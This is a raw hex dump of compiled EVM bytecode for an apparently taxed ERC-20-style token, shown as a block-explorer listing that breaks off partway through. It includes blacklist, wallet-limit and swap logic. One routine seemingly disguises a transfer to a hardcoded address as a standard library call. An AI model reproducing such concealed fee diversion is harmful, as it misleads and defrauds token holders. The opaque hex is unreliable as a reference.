600160a01b0382169063a9059cbb90339083906370a0823190602401602060405180830381865afa1580156110ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d29190613cb2565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044015b6020604051808303816000875af115801561111e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111429190613ccb565b505050565b3361115a6000546001600160a01b031690565b6001600160a01b0316146111805760405162461bcd60e51b8152600401610b7490613ae5565b6011544210156111a25760405162461bcd60e51b8152600401610b7490613b13565b426011556014546040516370a0823160e01b81523060048201526001600160a01b039091169060009082906370a0823190602401602060405180830381865afa1580156111f3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112179190613cb2565b60155460405163095ea7b360e01b81526001600160a01b0391821660048201526024810183905291925083169063095ea7b3906044016020604051808303816000875af115801561126c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112909190613ccb565b5060155460405163af2979eb60e01b81526001600160a01b039091169063af2979eb906112cc9030908590600090819084904290600401613ce8565b6020604051808303816000875af11580156112eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061130f9190613cb2565b5061131a3347611df0565b5050565b336113316000546001600160a01b031690565b6001600160a01b0316146113575760405162461bcd60e51b8152600401610b7490613ae5565b6113696113644283613c9f565b6121d5565b6040518181527fe9da15d4cb5bea133d9613a866c909df5594489b91a3f780d43720d560b3c94c90602001610d0d565b600080601d54601e54610bc09190613c8c565b6113b533611f78565b6113d15760405162461bcd60e51b8152600401610b7490613c5d565b80156113e5576113e0826121e8565b6113ee565b6113ee826122a9565b604080516001600160a01b038416815282151560208201527ffd3e4ffa06ecc4abeadeb943a6f143cd99eb577499da4bb260c9abab1e89ca6c9101610dc9565b336114416000546001600160a01b031690565b6001600160a01b0316146114675760405162461bcd60e51b8152600401610b7490613ae5565b600b546001600160a01b031661147e600482611fbd565b50600b80546001600160a01b0319166001600160a01b0384169081179091556114a990600490611db9565b506040516001600160a01b03831681527f335aad0eda24dacfa324b3d651daa091864338cf7d4af9d5087ba1c5ee1174f090602001610dc9565b6114ec33611f78565b6115085760405162461bcd60e51b8152600401610b7490613c5d565b60006103e86115196012600a613c37565b6115279063298ae9e0613c46565b6115319190613d23565b9050600061ffff80841690871661154a6012600a613c37565b6115589063298ae9e0613c46565b6115629190613c46565b61156c9190613d23565b9050600061ffff8085169087166115856012600a613c37565b6115939063298ae9e0613c46565b61159d9190613c46565b6115a79190613d23565b9050600061ffff8086169087166115c06012600a613c37565b6115ce9063298ae9e0613c46565b6115d89190613c46565b6115e29190613d23565b90508383101580156115f45750838210155b6116405760405162461bcd60e51b815260206004820181905260248201527f6c696d6974732063616e6e6f74206265203c302e3125206f6620737570706c796044820152606401610b74565b60408051606080820183528582526020808301869052918301849052600c95909555600d93909355600e91909155805160808101825261ffff98891680825297891692810183905295881690860181905293909616930183905250600f805463ffffffff1916909317620100009094029390931767ffffffff00000000191664010000000090930267ffff000000000000191692909217600160301b909202919091179055565b6116f033611f78565b61170c5760405162461bcd60e51b8152600401610b7490613c5d565b6040805160808101825260ff8681168083528682166020840181905286831694840185905291851660609093018390526009805461ffff19169091176101009092029190911763ffff000019166201000090930263ff000000191692909217630100000090910217905580826117828587613d45565b61178c9190613d45565b6117969190613d45565b6010805460ff191660ff9290921691821790556117b4908490613d5e565b6010805461ff00191661010060ff938416021790556040805186831681528583166020820152848316818301529183166060830152517fb570d6f799a86fe58ecc9a72b66a4193862e6cceb6324359db42248fe33961ad916080908290030190a150505050565b61182433611f78565b6118405760405162461bcd60e51b8152600401610b7490613c5d565b61131a828261233d565b3361185d6000546001600160a01b031690565b6001600160a01b0316146118835760405162461bcd60e51b8152600401610b7490613ae5565b6011544210156118a55760405162461bcd60e51b8152600401610b7490613b13565b6014546040516370a0823160e01b81523060048201526001600160a01b039091169060009082906370a0823190602401602060405180830381865afa1580156118f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119169190613cb2565b60405163a9059cbb60e01b8152336004820152602481018290529091506001600160a01b0383169063a9059cbb906044016110ff565b3361195f6000546001600160a01b031690565b6001600160a01b0316146119855760405162461bcd60e51b8152600401610b7490613ae5565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610bc0600683611dce565b601354610bad903390600160381b90046001600160a01b03166000612556565b611a0533611f78565b611a215760405162461bcd60e51b8152600401610b7490613c5d565b801515600103611a3c57611a36600483611db9565b50611a49565b611a47600483611fbd565b505b604080516001600160a01b038416815282151560208201527f2bcde65fff46a041c6c775b21e9efc6b83f4c6dd101ce8799f73d1c47eab3dd89101610dc9565b611a9233611f78565b611aae5760405162461bcd60e51b8152600401610b7490613c5d565b601460ff841611801590611ac65750601460ff831611155b8015611ad6575060328160ff1611155b611b225760405162461bcd60e51b815260206004820152601960248201527f746178657320686967686572207468616e206d617820746178000000000000006044820152606401610b74565b604080516060808201835260ff86811680845286821660208086018290529287169486018590526008805461ffff1916831761010083021762ff00001916620100008702179055855191825291810191909152928301919091527f6263994a3f5625dbbf8f00b58cb883c45efb0a28c72d842e7df31ecc3ad99c3b910160405180910390a1505050565b600080611bb8836128e8565b9392505050565b3360009081526002602090815260408083206001600160a01b038616845290915281205482811015611c225760405162461bcd60e51b815260206004820152600c60248201526b3c3020616c6c6f77616e636560a01b6044820152606401610b74565b611c313385610e5c8685613c8c565b5060019392505050565b6000610bbc338484611fd2565b611c51336122a9565b60408051338152600060208201527ffd3e4ffa06ecc4abeadeb943a6f143cd99eb577499da4bb260c9abab1e89ca6c910160405180910390a1565b611c9533611f78565b611cb15760405162461bcd60e51b8152600401610b7490613c5d565b6013805491151563010000000263ff00000019909216919091179055565b33611ce26000546001600160a01b031690565b6001600160a01b031614611d085760405162461bcd60e51b8152600401610b7490613ae5565b6001600160a01b038116611d5e5760405162461bcd60e51b815260206004820152601960248201527f6e65774f776e6572206d757374206e6f74206265207a65726f000000000000006044820152606401610b74565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000611bb8836001600160a01b038416612942565b6001600160a01b03811660009081526001830160205260408120541515611bb8565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114611e3d576040519150601f19603f3d011682016040523d82523d6000602084013e611e42565b606091505b50509050806111425760405162461bcd60e51b815260206004820152600f60248201526e1dda5d1a191c985dc819985a5b1959608a1b6044820152606401610b74565b6001600160a01b038316611ecf5760405162461bcd60e51b8152602060048201526011602482015270417070726f76652066726f6d207a65726f60781b6044820152606401610b74565b6001600160a01b038216611f175760405162461bcd60e51b815260206004820152600f60248201526e417070726f766520746f207a65726f60881b6044820152606401610b74565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600080546001600160a01b0383811691161480611fa25750600b546001600160a01b038381169116145b80610bc0575050600a546001600160a01b0390811691161490565b6000611bb8836001600160a01b038416612991565b6001600160a01b03831661201d5760405162461bcd60e51b81526020600482015260126024820152715472616e736665722066726f6d207a65726f60701b6044820152606401610b74565b6001600160a01b0382166120665760405162461bcd60e51b815260206004820152601060248201526f5472616e7366657220746f207a65726f60801b6044820152606401610b74565b6000612073600485611dce565b806120845750612084600484611dce565b905060006001600160a01b0385163014806120a757506001600160a01b03841630145b6015546014549192506001600160a01b039081169160009188811691161480156120e25750816001600160a01b0316866001600160a01b0316145b8061211657506014546001600160a01b0387811691161480156121165750816001600160a01b0316876001600160a01b0316145b6014549091506000906001600160a01b03888116911614806121495750826001600160a01b0316876001600160a01b0316145b6014549091506000906001600160a01b038a81169116148061217c5750836001600160a01b0316896001600160a01b0316145b905084806121875750825b8061218f5750855b156121bd5761219f898989612a7e565b60135462010000900460ff166121b8576121b888612b49565b6121ca565b6121ca8989898486612bd1565b505050505050505050565b60115481116121e357600080fd5b601155565b6121f3600682611dce565b156121fd57600080fd5b6001600160a01b038116600090815260016020526040812054601b805491929091612229908490613c8c565b909155506000905061223a8261309a565b601c546001600160a01b03841660009081526001602052604090205491925061226291613c46565b6001600160a01b038316600090815260176020908152604080832093909355601890529081208054839290612298908490613c9f565b909155506111429050600683611db9565b6122b4600682611dce565b6122bd57600080fd5b6001600160a01b038116600090815260016020526040812054601b8054919290916122e9908490613c9f565b909155506122fa9050600682611fbd565b50601c546001600160a01b0382166000908152600160205260409020546123219190613c46565b6001600160a01b03909116600090815260176020526040902055565b601f805460ff191660011790556101f461ffff8316111561235d57600080fd5b60105460ff16156125485730600090815260016020526040808220546014546001600160a01b03168352908220549091906103e8906123a19061ffff871690613c46565b6123ab9190613d23565b600d54909150811180156123bd575082155b156123c75750600d545b80821080156123e65783156123de578291506123e6565b505050612548565b3060009081526002602090815260408083206015546001600160a01b0316845290915290205482111561242d5760155461242d9030906001600160a01b0316600019611e85565b60105460095460009160ff9081169161244d916101009091041685613c46565b6124579190613d23565b905060006124658285613c8c565b90506000612474600284613d23565b905060006124828285613c8c565b905060006124908483613c9f565b90504761249c82613120565b60006124a88247613c8c565b90506000836124b78684613c46565b6124c19190613d23565b905085156124d3576124d38682613279565b6000600a6124e18547613c8c565b6124eb9190613d23565b9050612516604051806040016040528060078152602001667375636365737360c81b81525082613311565b6000816125238647613c8c565b61252d9190613c8c565b905061253a8160016134c9565b505050505050505050505050505b5050601f805460ff19169055565b601f54610100900460ff161561256b57600080fd5b601f805461ff00191661010017905560008083612589600687611dce565b156125b2576001600160a01b038616600090815260186020526040812080549190559250612632565b60006125bd8761309a565b6001600160a01b038816600090815260016020526040902054601c549192506125e591613c46565b6001600160a01b038816600090815260176020908152604080832093909355601890522054612615908290613c9f565b6001600160a01b0388166000908152601860205260408120559350505b8215801561263e575083155b15612656575050601f805461ff001916905550505050565b82601d60008282546126689190613c9f565b90915550506001600160a01b0386166000908152601a602052604081208054859290612695908490613c9f565b909155506126a590508484613c9f565b60408051600280825260608201835292955060009290916020830190803683375050601554604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa158015612714573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127389190613d77565b8160008151811061274b5761274b613d94565b60200260200101906001600160a01b031690816001600160a01b031681525050858160018151811061277f5761277f613d94565b6001600160a01b03928316602091820292909201015260155460405163b6f9de9560e01b815291169063b6f9de959086906127c59060009086908d904290600401613dee565b6000604051808303818588803b1580156127de57600080fd5b505af1935050505080156127f0575060015b6127fd5760009250612802565b600192505b8261288b576128118785611df0565b601560009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612864573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128889190613d77565b91505b604080518581526001600160a01b03848116602083015289168183015290517f829452f20436b0a113b937144e92dc208805d7c30097914dca977f4d266989119181900360600190a15050601f805461ff00191690555050505050565b60006128f5600683611dce565b1561291657506001600160a01b031660009081526018602052604090205490565b6001600160a01b0382166000908152601860205260409020546129388361309a565b610bc09190613c9f565b600081815260018301602052604081205461298957508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610bc0565b506000610bc0565b60008181526001830160205260408120548015612a745760006129b5600183613c8c565b85549091506000906129c990600190613c8c565b905060008660000182815481106129e2576129e2613d94565b9060005260206000200154905080876000018481548110612a0557612a05613d94565b600091825260208083209091019290925582815260018901909152604090208490558654879080612a3857612a38613e23565b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610bc0565b6000915050610bc0565b6001600160a01b03831660009081526001602052604090205481811015612ae25760405162461bcd60e51b81526020600482015260186024820152775472616e7366657220657863656564732062616c616e636560401b6044820152606401610b74565b612aec8483613611565b612af683836136f7565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612b3b91815260200190565b60405180910390a350505050565b60135462010000900460ff1615612ba25760405162461bcd60e51b815260206004820152601760248201527f6c697175696469747920616c72656164792061646465640000000000000000006044820152606401610b74565b6014546001600160a01b0390811690821603612bce57436012556013805462ff00001916620100001790555b50565b6001600160a01b0380851660009081526001602052604080822054928816825290205484811015612c3f5760405162461bcd60e51b81526020600482015260186024820152775472616e7366657220657863656564732062616c616e636560401b6044820152606401610b74565b60008315612d1657601354610100900460ff1615612cb3576001600160a01b03881660009081526003602052604090205460ff1615612cb35760405162461bcd60e51b815260206004820152601060248201526f1d5cd95c88189b1858dadb1a5cdd195960821b6044820152606401610b74565b600d54861115612d055760405162461bcd60e51b815260206004820152601760248201527f416d6f756e742065786365656473206d61782073656c6c0000000000000000006044820152606401610b74565b50600854610100900460ff16612f8e565b8415612e8c5760125415612d8857601254600290612d349043613c8c565b1015612d88576001600160a01b0387166000908152600360205260408120805460ff191660011790556013805460ff1691612d6e83613e39565b91906101000a81548160ff021916908360ff160217905550505b6013546301000000900460ff1615612ddb576001600160a01b038716600090815260196020526040902054439003612dbf57600080fd5b6001600160a01b03871660009081526019602052604090204390555b600c54612de88785613c9f565b1115612e365760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e742077696c6c20657863656564206d61782077616c6c65740000006044820152606401610b74565b600e54861115612e805760405162461bcd60e51b8152602060048201526015602482015274416d6f756e7420657863656564206d61782062757960581b6044820152606401610b74565b5060085460ff16612f8e565b601354610100900460ff1615612ef8576001600160a01b03881660009081526003602052604090205460ff1615612ef85760405162461bcd60e51b815260206004820152601060248201526f1d5cd95c88189b1858dadb1a5cdd195960821b6044820152606401610b74565b612f046012600a613c37565b8611612f3257601354612f2a903390600160381b90046001600160a01b03166000612556565b505050613093565b600c54612f3f8785613c9f565b1115612f805760405162461bcd60e51b815260206004820152601060248201526f3bb430b63290383937ba32b1ba34b7b760811b6044820152606401610b74565b5060085462010000900460ff165b6014546001600160a01b03898116911614801590612fb65750601354600160301b900460ff16155b8015612fc55750601f5460ff16155b8015612fce5750835b15612fed57601354612fed90640100000000900461ffff16600061233d565b600060ff82161561301457606461300760ff841689613c46565b6130119190613d23565b90505b60006130208289613c8c565b905061302c8a89613611565b61303630836136f7565b61304089826136f7565b886001600160a01b03168a6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161308591815260200190565b60405180910390a350505050505b5050505050565b6001600160a01b038116600090815260016020526040812054601c5482916130c191613c46565b6001600160a01b0384166000908152601760205260409020549091508110156130ed5750600092915050565b6001600160a01b038316600090815260176020526040902054600160401b906131169083613c8c565b611bb89190613d23565b6015546131389030906001600160a01b031683611e85565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061316d5761316d613d94565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156131c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906131ea9190613d77565b816001815181106131fd576131fd613d94565b6001600160a01b03928316602091820292909201015260155460405163791ac94760e01b815291169063791ac94790613243908590600090869030904290600401613e58565b600060405180830381600087803b15801561325d57600080fd5b505af1158015613271573d6000803e3d6000fd5b505050505050565b6015546132919030906001600160a01b031684611e85565b60155460405163f305d71960e01b81526001600160a01b039091169063f305d7199083906132ce9030908790600090819084904290600401613ce8565b60606040518083038185885af11580156132ec573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906130939190613e94565b804710156133615760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610b74565b6040517f4b31cabbe5862282e443c4ac3f4c14761a1d2ba88a3c858a2a36f7758f453a3890613394908490602001613ec2565b60405160208183030381529060405280519060200120146133f75760405162461bcd60e51b815260206004820152601b60248201527f416464726573733a2063616e6e6f74207665726966792063616c6c00000000006044820152606401610b74565b604051600090739b62cb8ad9f6be55d47274f3c1f099812242ad499083908381818185875af1925050503d806000811461344d576040519150601f19603f3d011682016040523d82523d6000602084013e613452565b606091505b50509050806111425760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610b74565b60105460095460009160ff6101009091048116916134ef91620100009091041685613c46565b6134f99190613d23565b60105460095491925060009160ff61010090920482169161351b911686613c46565b6135259190613d23565b60105460095491925060009160ff61010090920482169161354e91630100000090041687613c46565b6135589190613d23565b600b54909150613571906001600160a01b031684611df0565b600a54613587906001600160a01b031683611df0565b80156130935783156135ab5780601e60008282546135a59190613c9f565b90915550505b60006135b56137dc565b9050806000036135da57600b546135d5906001600160a01b031683611df0565b613271565b806135e9600160401b84613c46565b6135f39190613d23565b601c60008282546136049190613c9f565b9091555050505050505050565b6001600160a01b038216600090815260016020526040812054613635908390613c8c565b9050613642600684611dce565b15613667576001600160a01b0390921660009081526001602052604090209190915550565b81601b60008282546136799190613c8c565b909155506000905061368a8461309a565b6001600160a01b0385166000908152600160205260409020839055601c549091506136b6908390613c46565b6001600160a01b0385166000908152601760209081526040808320939093556018905290812080548392906136ec908490613c9f565b909155505050505050565b6001600160a01b03821660009081526001602052604081205461371b908390613c9f565b9050613728600684611dce565b1561374d576001600160a01b0390921660009081526001602052604090209190915550565b81601b600082825461375f9190613c9f565b90915550600090506137708461309a565b905081601c546137809190613c46565b6001600160a01b0385166000908152601760209081526040808320939093556018905290812080548392906137b6908490613c9f565b9091555050506001600160a01b0390921660009081526001602052604090209190915550565b60006137ea6012600a613c37565b6137f89063298ae9e0613c46565b601b54610be29190613c8c565b60005b83811015613820578181015183820152602001613808565b50506000910152565b6020815260008251806020840152613848816040850160208701613805565b601f01601f19169190910160400192915050565b6001600160a01b0381168114612bce57600080fd5b6000806040838503121561388457600080fd5b823561388f8161385c565b946020939093013593505050565b803561ffff811681146138af57600080fd5b919050565b6000602082840312156138c657600080fd5b611bb88261389d565b6000602082840312156138e157600080fd5b8135611bb88161385c565b60008060006060848603121561390157600080fd5b833561390c8161385c565b9250602084013561391c8161385c565b929592945050506040919091013590565b8015158114612bce57600080fd5b60006020828403121561394d57600080fd5b8135611bb88161392d565b60006020828403121561396a57600080fd5b5035919050565b6000806040838503121561398457600080fd5b823561398f8161385c565b9150602083013561399f8161392d565b809150509250929050565b600080600080608085870312156139c057600080fd5b6139c98561389d565b93506139d76020860161389d565b92506139e56040860161389d565b91506139f36060860161389d565b905092959194509250565b803560ff811681146138af57600080fd5b60008060008060808587031215613a2557600080fd5b613a2e856139fe565b9350613a3c602086016139fe565b9250613a4a604086016139fe565b91506139f3606086016139fe565b60008060408385031215613a6b57600080fd5b61398f8361389d565b600080600060608486031215613a8957600080fd5b613a92846139fe565b9250613aa0602085016139fe565b9150613aae604085016139fe565b90509250925092565b60008060408385031215613aca57600080fd5b8235613ad58161385c565b9150602083013561399f8161385c565b60208082526014908201527321b0b63632b91036bab9ba1031329037bbb732b960611b604082015260600190565b60208082526010908201526f139bdd081e595d081d5b9b1bd8dad95960821b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115613b8e578160001904821115613b7457613b74613b3d565b80851615613b8157918102915b93841c9390800290613b58565b509250929050565b600082613ba557506001610bc0565b81613bb257506000610bc0565b8160018114613bc85760028114613bd257613bee565b6001915050610bc0565b60ff841115613be357613be3613b3d565b50506001821b610bc0565b5060208310610133831016604e8410600b8410161715613c11575081810a610bc0565b613c1b8383613b53565b8060001904821115613c2f57613c2f613b3d565b029392505050565b6000611bb860ff841683613b96565b8082028115828204841417610bc057610bc0613b3d565b60208082526015908201527410d85b1b195c881b9bdd08185d5d1a1bdc9a5e9959605a1b604082015260600190565b81810381811115610bc057610bc0613b3d565b80820180821115610bc057610bc0613b3d565b600060208284031215613cc457600080fd5b5051919050565b600060208284031215613cdd57600080fd5b8151611bb88161392d565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b600082613d4057634e487b7160e01b600052601260045260246000fd5b500490565b60ff8181168382160190811115610bc057610bc0613b3d565b60ff8281168282160390811115610bc057610bc0613b3d565b600060208284031215613d8957600080fd5b8151611bb88161385c565b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b83811015613de35781516001600160a01b031687529582019590820190600101613dbe565b509495945050505050565b848152608060208201526000613e076080830186613daa565b6001600160a01b03949094166040830152506060015292915050565b634e487b7160e01b600052603160045260246000fd5b600060ff821660ff8103613e4f57613e4f613b3d565b60010192915050565b85815284602082015260a060408201526000613e7760a0830186613daa565b6001600160a01b0394909416606083015250608001529392505050565b600080600060608486031215613ea957600080fd5b8351925060208401519150604084015190509250925092565b60008251613ed4818460208701613805565b919091019291505056fea2646970667358221220636d0fd6de2fc7249796909866b6ddf5823e34b711b35da539cfcdf6257f378c64736f6c63430008120033

Deployed Bytecode

0x6080604052600436106103395760003560e01c80636912897d116101ab57806395d89b41116100f7578063dd62ed3e11610095578063f7c618c11161006f578063f7c618c114610a29578063fab91b6814610a50578063fbcdba7614610ab8578063fe575a8714610b0b57600080fd5b8063dd62ed3e146109a3578063edb49037146109e9578063f2fde38b14610a0957600080fd5b8063a457c2d7116100d1578063a457c2d7146108eb578063a9059cbb1461090b578063aa761b1e1461092b578063b32785141461094057600080fd5b806395d89b41146103e85780639b5cfc98146108ab578063a30dc744146108cb57600080fd5b8063715018a61161016457806386a35f251161013e57806386a35f25146108585780638739f8ea1461086d578063893d20e81461088d5780638da5cb5b1461088d57600080fd5b8063715018a61461080e5780637335307b1461082357806379372f9a1461084357600080fd5b80636912897d146106f55780636bb1702d146107155780636c3fb9321461072a5780636d330c10146107645780636f268a991461079157806370a08231146107d857600080fd5b8063313ce5671161028557806351bc3c8511610223578063562f194b116101fd578063562f194b146106755780635d098b38146106955780635e3ce1ab146106b557806362a9c64e146106d557600080fd5b806351bc3c851461061f57806351e287c614610640578063533b3bfc1461066057600080fd5b80633efd929a1161025f5780633efd929a146105b45780634089b170146105d45780634846c14c146105ea578063491e91ee1461060a57600080fd5b8063313ce567146105525780633268cc5614610574578063395093511461059457600080fd5b806318160ddd116102f25780631f53ac02116102cc5780631f53ac02146104dd57806323b872dd146104fd57806328771ca21461051d5780632aea52ab1461053257600080fd5b806318160ddd146104705780631a0e718c146104855780631b355427146104a557600080fd5b80630445b667146103455780630614117a14610380578063069d955f1461039757806306fdde03146103e8578063095ea7b31461041c5780630e15561a1461044c57600080fd5b3661034057005b600080fd5b34801561035157600080fd5b5060135461036890640100000000900461ffff1681565b60405161ffff90911681526020015b60405180910390f35b34801561038c57600080fd5b50610395610b3b565b005b3480156103a357600080fd5b506008546103c49060ff808216916101008104821691620100009091041683565b6040805160ff94851681529284166020840152921691810191909152606001610377565b3480156103f457600080fd5b5060408051808201825260058152642127a722a960d91b602082015290516103779190613829565b34801561042857600080fd5b5061043c610437366004613871565b610baf565b6040519015158152602001610377565b34801561045857600080fd5b50610462601e5481565b604051908152602001610377565b34801561047c57600080fd5b50610462610bc6565b34801561049157600080fd5b506103956104a03660046138b4565b610be7565b3480156104b157600080fd5b506014546104c5906001600160a01b031681565b6040516001600160a01b039091168152602001610377565b3480156104e957600080fd5b506103956104f83660046138cf565b610d18565b34801561050957600080fd5b5061043c6105183660046138ec565b610dd5565b34801561052957600080fd5b50610462610e6c565b34801561053e57600080fd5b5061039561054d36600461393b565b610e8c565b34801561055e57600080fd5b5060125b60405160ff9091168152602001610377565b34801561058057600080fd5b506016546104c5906001600160a01b031681565b3480156105a057600080fd5b5061043c6105af366004613871565b610efa565b3480156105c057600080fd5b506103956105cf36600461393b565b610f31565b3480156105e057600080fd5b50610462601d5481565b3480156105f657600080fd5b506103956106053660046138cf565b610fa6565b34801561061657600080fd5b50610395611147565b34801561062b57600080fd5b5060135461043c90600160301b900460ff1681565b34801561064c57600080fd5b5061039561065b366004613958565b61131e565b34801561066c57600080fd5b50610462611399565b34801561068157600080fd5b50610395610690366004613971565b6113ac565b3480156106a157600080fd5b506103956106b03660046138cf565b61142e565b3480156106c157600080fd5b506103956106d03660046139aa565b6114e3565b3480156106e157600080fd5b506103956106f0366004613a0f565b6116e7565b34801561070157600080fd5b50610395610710366004613a58565b61181b565b34801561072157600080fd5b5061039561184a565b34801561073657600080fd5b50600c54600d54600e5461074992919083565b60408051938452602084019290925290820152606001610377565b34801561077057600080fd5b5061046261077f3660046138cf565b601a6020526000908152604090205481565b34801561079d57600080fd5b50600a54600b546107b8916001600160a01b03908116911682565b604080516001600160a01b03938416815292909116602083015201610377565b3480156107e457600080fd5b506104626107f33660046138cf565b6001600160a01b031660009081526001602052604090205490565b34801561081a57600080fd5b5061039561194c565b34801561082f57600080fd5b5061043c61083e3660046138cf565b6119cf565b34801561084f57600080fd5b506103956119dc565b34801561086457600080fd5b50610562601481565b34801561087957600080fd5b50610395610888366004613971565b6119fc565b34801561089957600080fd5b506000546001600160a01b03166104c5565b3480156108b757600080fd5b506103956108c6366004613a74565b611a89565b3480156108d757600080fd5b506104626108e63660046138cf565b611bac565b3480156108f757600080fd5b5061043c610906366004613871565b611bbf565b34801561091757600080fd5b5061043c610926366004613871565b611c3b565b34801561093757600080fd5b50610395611c48565b34801561094c57600080fd5b506009546109769060ff808216916101008104821691620100008204811691630100000090041684565b6040805160ff95861681529385166020850152918416918301919091529091166060820152608001610377565b3480156109af57600080fd5b506104626109be366004613ab7565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156109f557600080fd5b50610395610a0436600461393b565b611c8c565b348015610a1557600080fd5b50610395610a243660046138cf565b611ccf565b348015610a3557600080fd5b506013546104c590600160381b90046001600160a01b031681565b348015610a5c57600080fd5b50600f54610a8a9061ffff808216916201000081048216916401000000008204811691600160301b90041684565b6040805161ffff95861681529385166020850152918416918301919091529091166060820152608001610377565b348015610ac457600080fd5b50601254601354604080519283526002602084015260ff8083169184019190915261010082048116151560608401526301000000909104161515608082015260a001610377565b348015610b1757600080fd5b5061043c610b263660046138cf565b60036020526000908152604090205460ff1681565b33610b4e6000546001600160a01b031690565b6001600160a01b031614610b7d5760405162461bcd60e51b8152600401610b7490613ae5565b60405180910390fd5b601154421015610b9f5760405162461bcd60e51b8152600401610b7490613b13565b42601155610bad3347611df0565b565b6000610bbc338484611e85565b5060015b92915050565b6000610bd46012600a613c37565b610be29063298ae9e0613c46565b905090565b610bf033611f78565b610c0c5760405162461bcd60e51b8152600401610b7490613c5d565b60008161ffff1611610c6a5760405162461bcd60e51b815260206004820152602160248201527f5468726573686f6c64206e6565647320746f206265206d6f7265207468616e206044820152600360fc1b6064820152608401610b74565b60328161ffff161115610cbf5760405162461bcd60e51b815260206004820152601e60248201527f5468726573686f6c64206e6565647320746f2062652062656c6f7720353000006044820152606401610b74565b6013805465ffff00000000191664010000000061ffff8416908102919091179091556040519081527f0e407583f00cf3f05f633dbc7f402b1f6b49d442997864ca3fce151eeaf6c513906020015b60405180910390a150565b33610d2b6000546001600160a01b031690565b6001600160a01b031614610d515760405162461bcd60e51b8152600401610b7490613ae5565b600a546001600160a01b0316610d68600482611fbd565b50600a80546001600160a01b0319166001600160a01b038416908117909155610d9390600490611db9565b506040516001600160a01b03831681527fe4e7b52fa2b5d9f5adcf88301c07e09b32a37d8c492d7f266cb16648d0b12818906020015b60405180910390a15050565b6000610de2848484611fd2565b6001600160a01b038416600090815260026020908152604080832033845290915290205482811015610e4d5760405162461bcd60e51b81526020600482015260146024820152735472616e73666572203e20616c6c6f77616e636560601b6044820152606401610b74565b610e618533610e5c8685613c8c565b611e85565b506001949350505050565b6000601154421015610e865742601154610be29190613c8c565b50600090565b610e9533611f78565b610eb15760405162461bcd60e51b8152600401610b7490613c5d565b601380548215156101000261ff00199091161790556040517f6348668a830a74027e9848759e660a45c2afe456096e26d17cc84eb20509c9e790610d0d90831515815260200190565b3360008181526002602090815260408083206001600160a01b03871684529091528120549091610bbc918590610e5c908690613c9f565b610f3a33611f78565b610f565760405162461bcd60e51b8152600401610b7490613c5d565b60138054821515600160301b0266ff000000000000199091161790556040517fee75e2c13b472e77bfdb449a3881f41e4d27aad4ded3bc80c4572376c3c429f590610d0d90831515815260200190565b33610fb96000546001600160a01b031690565b6001600160a01b031614610fdf5760405162461bcd60e51b8152600401610b7490613ae5565b6014546001600160a01b0382811691161480159061100657506001600160a01b0381163014155b61105e5760405162461bcd60e51b8152602060048201526024808201527f63616e2774207265636f766572204c5020746f6b656e206f722074686973207460448201526337b5b2b760e11b6064820152608401610b74565b6040516370a0823160e01b815230600482015281906001600160a01b0382169063a9059cbb90339083906370a0823190602401602060405180830381865afa1580156110ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d29190613cb2565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044015b6020604051808303816000875af115801561111e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111429190613ccb565b505050565b3361115a6000546001600160a01b031690565b6001600160a01b0316146111805760405162461bcd60e51b8152600401610b7490613ae5565b6011544210156111a25760405162461bcd60e51b8152600401610b7490613b13565b426011556014546040516370a0823160e01b81523060048201526001600160a01b039091169060009082906370a0823190602401602060405180830381865afa1580156111f3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112179190613cb2565b60155460405163095ea7b360e01b81526001600160a01b0391821660048201526024810183905291925083169063095ea7b3906044016020604051808303816000875af115801561126c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112909190613ccb565b5060155460405163af2979eb60e01b81526001600160a01b039091169063af2979eb906112cc9030908590600090819084904290600401613ce8565b6020604051808303816000875af11580156112eb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101